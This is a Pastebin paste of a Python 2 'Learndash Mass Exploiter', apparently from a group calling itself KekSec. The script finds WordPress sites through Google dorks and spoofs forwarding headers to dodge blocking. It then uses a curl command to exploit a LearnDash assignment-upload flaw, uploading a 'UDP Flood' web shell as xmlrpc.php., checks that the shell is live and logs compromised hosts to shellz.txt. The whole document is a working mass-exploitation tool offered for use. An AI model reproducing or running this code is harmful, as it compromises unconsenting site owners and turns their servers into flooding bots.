KekSec

Learndash Mass Exploiter (UdP shell version)

Jun 23rd, 2018
836
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.03 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Learndash mass exploiter via google dork
  3. #coded by Freak/SynthMesc
  4. #Version 1.0.0
  5. import urllib2,urllib,sys,re,random,string,time,threading,requests,os
  6. try:
  7.     dorklist=sys.argv[1]
  8. except:
  9.     print "Usage: "+sys.argv[0]+" [DORK LIST]" #Simple usage for the skids out ther ^_^
  10.     exit(1)
  11. def randomIP():
  12.     return '.'.join('%s'%random.randint(0, 255) for i in range(4)) #Generate random IP for false headers
  13. def exploit(url):
  14.     scheme = url.split("/")[0]
  15.     host = url.split("/")[2]
  16.     print scheme + '//' + host + '/'
  17.     os.popen('curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F "uploadfiles[][email protected]" ' + scheme + '//' + host + '/')
  18.     try:
  19.         if "UDP Flood" in urllib2.urlopen(scheme + '//' + host + '/wp-content/uploads/assignments/xmlrpc.php.').read():
  20.             print "[+] Shell uploaded at " + scheme + '//' + host + '/wp-content/uploads/assignments/xmlrpc.php.'
  21.             f=open("shellz.txt", "a")
  22.             f.write(scheme + '//' + host + '/wp-content/uploads/assignments/xmlrpc.php.' + "\r\n")
  23.             f.close()
  24.     except Exception as e:
  25.         print "[-] Failed! " + str(e)
  26.         pass
  27. def spyder(dork,page):
  28.     opener = urllib2.build_opener()
  29.     opener.addheaders = [('User-agent','Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent.
  30.     opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous.
  31.     opener.addheaders = [('REMOTE-ADDR',randomIP())]
  32.     opener.addheaders = [('VIA',randomIP())]
  33.     opener.addheaders = [('X-FORWARDED-FOR',randomIP())]
  34.     opener.addheaders = [('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')]
  35.     opener.addheaders = [('Accept-Language','en-US,en;q=0.5')]
  36.     opener.addheaders = [('Accept-Encoding','gzip, deflate')]
  37.     opener.addheaders = [('Referer',dork)]
  38.     try:
  39.         searchresults=opener.open(dork,timeout=5).read()
  40.     except Exception, e:
  41.         print "[-] "+str(e)
  42.         print "[-] Bot has been blocked from google!!! Change VPN server or proxy! Press enter to continue"
  43.         raw_input()
  44.         spyder(dork, page)
  45.     try:
  46.         searchresults
  47.     except NameError:
  48. #       print "[-] Variable undefined, re-searching"
  49.         try:
  50.             searchresults=opener.open(dork,timeout=5).read()
  51.         except:
  52.             try:
  53.                 searchresults=opener.open(dork,timeout=5).read()
  54.             except:
  55.                 print "[-] Bot has been blocked from google!!! Change VPN server or proxy! Press enter to continue"
  56.                 raw_input()
  57.                 spyder(dork, page)
  58.     else:
  59.         pass
  60. #       print "[+] Variable defined, continuing search"
  61.  
  62.     for i in re.findall('''href=["'](.[^"']+)["']''',searchresults, re.I):
  63.         i=i.replace("amp;",'')
  64.         if i.endswith("start="+str(page)+"0&sa=N") and i.startswith("/search"):
  65.             dorkurl="https://encrypted.google.com"+i
  66.             print "[+] Searching next page "+dorkurl
  67.             time.sleep(5)
  68.             spyder(dorkurl,page)
  69.             page+=1
  70.         i=urllib2.unquote(i).decode('utf8')
  71.         try:
  72.             i=i.split("?q=")[1]
  73.             i=i.split("&sa=")[0]
  74.             if i.startswith("http"):
  75.                     if i.startswith("http://accounts.google.com"):
  76.                         continue
  77.                     elif i.startswith("http://www.google.com"):
  78.                         continue
  79.                     elif i.startswith("http://encrypted.google.com"):
  80.                         continue
  81.                     elif i.startswith("http://webcache.googleusercontent.com"):
  82.                         continue
  83.                     elif i!=dork.decode('utf8'):
  84.                         threading.Thread(target=exploit, args=(i,)).start()
  85.         except:
  86.             continue
  87. f=open(dorklist,"r")
  88. for dork in f.read().split("\n"):
  89.     print "[+] Searching for dork: '"+dork+"'"
  90.     spyder('https://encrypted.google.com/search?hl=en&q='+urllib.quote_plus(dork),1)
  91. f.close()
Advertisement
Add Comment
Please, Sign In to add comment